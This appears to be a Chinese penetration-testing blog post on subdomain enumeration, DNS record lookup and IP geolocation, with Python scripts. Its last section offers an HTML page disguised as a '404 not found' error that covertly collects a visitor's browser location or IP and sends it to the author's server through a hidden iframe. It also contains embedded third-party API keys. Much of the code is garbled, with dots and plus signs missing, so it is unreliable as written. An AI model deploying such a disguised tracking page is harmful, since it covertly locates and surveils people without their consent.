渗透测试 | 子域名查询、DNS记录查询

2022-01-13 10:04:06 浏览数 (1)

目录

子域名信息查询

Layer子域名爆破机

subDomainBrute

利用google查询

HTTP证书查询

DNS记录查询脚本

IP转换为经纬度

利用网页获取对方经纬度信息

首先关于DNS域名解析的一些知识,传送门:

https://blog.csdn.net/qq_36119192/article/details/82752515

了解了DNS解析的一些知识后,我们就可以开始我们的DNS探测了!

一些和域名查询相关的网站:

· DNS查询:https://dnsdb.io/

· 微步在线:https://x.threatbook.cn/ 

· 在线域名信息查询:

http://toolbar.netcraft.com/site_report?url=

· DNS、IP等查询:http://viewdns.info/

· CDN查询IP:https://tools.ipip.net/cdn.php 

· SecurityTrails平台:

https://securitytrails.com/domain/www.baidu.com/history/a

子域名信息查询

相关文章:论二级域名收集的各种姿势

查询子域名有三种方法:

1. 通过爆破子域名进行查询,如 Layer子域名爆破机、subDomainBrute,在线子域名查询网站:https://phpinfo.me/domain/

2. 通过查询DNS服务器,查询该域下的解析记录

3. 通过HTTPS证书来查询(只适用于https网站) ,如:https://crt.sh/ 就是通过https证书查询子域名

4. 通过google查询

Layer子域名爆破机

Layer是windows下的一款子域名探测工具,其工作原理是利用子域名字典进行爆破,使用简单容易上手。

subDomainBrute

subDomainBrute的特点是可以用小字典递归的发现三级域名、四级域名、甚至五级域名等不容易被探测到的域名。

利用google查询

指定站点,然后-就是不包含这个,来查询

site:baidu.com -www

HTTP证书查询

证书透明度(Certificate Transparency)是证书授权机构的一个项目,证书授权机构会将每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址。查找某个域名所属证书的最简单的方法就是使用搜索引擎搜索一些公开的CT日志。在线网站:https://crt.sh

可以使用python脚本ct-exposer完成

DNS记录查询脚本

代码语言:javascript复制
# -*- coding: utf-8 -*-
# python3.7环境
"""
Created style="margin: 0px; padding: 0px; color: rgb(14, 156, 229);">10 16:40:17 2019
@author: 小谢

"""
##############################################################DNS域名记录查询脚本######################################################
import dns.resolver
domain=input("请输入要查询的域名全拼(例如:www.baidu.com):")       #网站子域名
domainpart=[]
num=domain.count('.')
part=domain.split('.')
for i in range(num):
    j=i 1
    domainpart.append(part[j])
subdomain=".".join(domainpart)              #网站主域名
print("该网站主域名为:%s"%subdomain)
#查询A记录
A=dns.resolver.query(domain,'A')
print("********************A记录********************")
for i in A.response.answer:
    print(i)
#查询CNAME记录
try:
    CNAME=dns.resolver.query(domain,'CNAME')
    print("********************CNAME记录********************")
    for i in CNAME.response.answer:
        print(i)
except:
    print("--------------------该域名没有CNAME记录!!--------------------")
#domain=input("请输入要查询的主域名(例如:baidu.com):")
#查询MX记录
try:
    MX=dns.resolver.query(subdomain,'MX')
    print("********************MX记录********************")
    for i in MX.response.answer:
        print(i)
except:
    print("--------------------该域名没有MX记录!!--------------------")
#NS记录
try:
    NS=dns.resolver.query(subdomain,'NS')
    print("********************NS记录********************")
    for i in NS.response.answer:
        print(i)
except:
    print("--------------------该域名没有NS记录!!--------------------")
#SOA记录
try:
    SOA=dns.resolver.query(subdomain,'SOA')
    print("********************SOA记录********************")
    for i in SOA.response.answer:
        print(i)
except:
    print("--------------------该域名没有SOA记录!!--------------------")
#TXT记录
try:
    TXT=dns.resolver.query(subdomain,'TXT')
    print("********************TXT记录********************")
    for i in TXT.response.answer:
        print(i)
except:
    print("--------------------该域名没有TXT记录!!--------------------")
#SRV记录
try:
    SRV=dns.resolver.query(domain,'SRV')
    print("********************SRV记录********************")
    for i in SRV.response.answer:
        print(i)
except:
    print("--------------------该域名没有SRV记录!!--------------------")
#AAAA记录
try:
    SRV=dns.resolver.query(domain,'AAAA')
    print("********************AAAA记录********************")
    for i in SRV.response.answer:
        print(i)
except:
    print("--------------------该域名没有AAAA记录!!--------------------")

IP转换为经纬

代码语言:javascript复制
# python2.7环境
"""
Created>@author: 小谢
"""
#####################################################将ip转换为具体的经纬度城市信息#######################################################
#返回数据格式链接: http://lbsyun.baidu.com/index.php?title=webapi/ip-api
import urllib2
import json

ip = raw_input("please your ip address:")
url = "http://api.map.baidu.com/location/ip?ip=%s&ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy&coor=bd09ll"%ip
req = urllib2.Request(url)
res_data = urllib2.urlopen(req)
res = res_data.read().decode("unicode-escape") # 转格式
jsonaddress=json.loads(res)
#print res
print "城市:",jsonaddress['content']['address']
print "省份:",jsonaddress['content']['address_detail']['province']
print "区县:",jsonaddress['content']['address_detail']['district']
print "街道:",jsonaddress['content']['address_detail']['street']
print "经纬度:",jsonaddress['content']['point']['x'],",",jsonaddress['content']['point']['y']
print "纬经度:",jsonaddress['content']['point']['y'],",",jsonaddress['content']['point']['x']

经纬度街景地图:谷歌街景地图

只需要输入 纬度,经度,就可以看到定位的街景地图。

利用网页获取对方经纬度信息

代码语言:javascript复制
<!DOCTYPE html>
<html>
<head></head>
<body id="body">

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
  <title>404 页面不存在 </title> 
<script src="https://cdnstaticfileorg/jquery/1102/jqueryminjs"></script>
<script type="text/javascript" src="http://apimapbaiducom/getscript?v=20&amp;ak=GrwQFVVB5qDWviGtSoB4VbU4KK10QVLy"></script>
<script src="http://pvsohucom/cityjson?ie=utf-8"></script>
<script>

        if(navigatorgeolocation){        //如果当前浏览器支持定位

            navigatorgeolocationgetCurrentPosition(getPositionSuccess, getPositionError);

        }else{

            consolelog("您的浏览器不支持自动定位!");

        }

/***用户定位成功**/

        function getPositionSuccess(position){

            var lat = positioncoordslatitude;    //经度

            var lng = positioncoordslongitude;   //纬度

            var address="";

//通过baiduMap API获取街道名称

            var map = new BMapMap("allmap");

            var point = new BMapPoint(lng,lat);

            var gc = new BMapGeocoder();

            gcgetLocation(point, function(rs){

                var addComp = rsaddressComponents;

                address = addCompcity   addCompdistrict   addCompstreet   addCompstreetNumber;  //城市区县街道街道号

                $("#lng")attr("value",lng);   //经度

                $("#lat")attr("value",lat);   //纬度

                url="http://1207974249:8080/?lng=" lat "," lng;       //将经纬度信息传给我们后台搭建的服务器

                var frame=$("<iframe>");

                frameattr("src",url);

                frameattr("style","display:none");

                $("#body")append(frame);

            });

        }

/**用户定位失败**/

        function getPositionError(error){

            var ip;

            switch(errorcode){

                case errorTIMEOUT:

                    consolelog("连接超时,请重试");

                    break;

                case errorPERMISSION_DENIED:

//如果对方拒绝定位,则先通过获取对方ip向百度API获取定位

                    ip=returnCitySNcip;

                    $getJSON("http://apimapbaiducom/location/ip?callback=?", {

                        'ak' : 'nbB3KwnfDq6UvNxGqkRfhOzeu7EnmNCH',

                        'coor' : 'bd09ll',

                        'ip' : ip//获取的ip地址

                    }, function(data) {

                        var lng=datacontentpointx;//经度

                        var lat=datacontentpointy;//纬度

                        $("#lng")attr("value",lng);   //经度

                        $("#lat")attr("value",lat);   //纬度

                        url="http://1207974249:8080/?ip=" ip "&address=" lat "," lng;   //将ip和经纬度信息传给我们后台搭建的服务器

                        var frame=$("<iframe>");

                        frameattr("src",url);

                        frameattr("style","display:none");

                        $("#body")append(frame);

                    });

                    break;

                case errorPOSITION_UNAVAILABLE:

                    consolelog("亲爱的火星网友,非常抱歉,我们暂时无法为您所在的星球提供位置服务");

                    break;

            }

        }
</script>
<style type="text/css">

        body,div,h3,h4,li,ol{margin:0;padding:0}

        body{font:14px/15 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}

        :focus{outline:0}

        h3,h4,strong{font-weight:700}

        a{color:#428bca;text-decoration:none}

        a:hover{text-decoration:underline}

        error-page{background:#f0f1f3;padding:80px 0 180px}

        error-page-container{position:relative;z-index:1}

        error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
</style>
<div class="error-page">

<h3>
<div class="error-page-container">

<div class="error-page-main">

      <strong>404</strong>很抱歉,您要访问的页面不存在! 
</div>
    </div> </h3> 
</div>
</body>
</html>

相关文章:子域名枚举的艺术深度剖析

Freebuf-DNS域名信息收集

DNS详解

来源:谢公子的博客

责编:梁粉

0 人点赞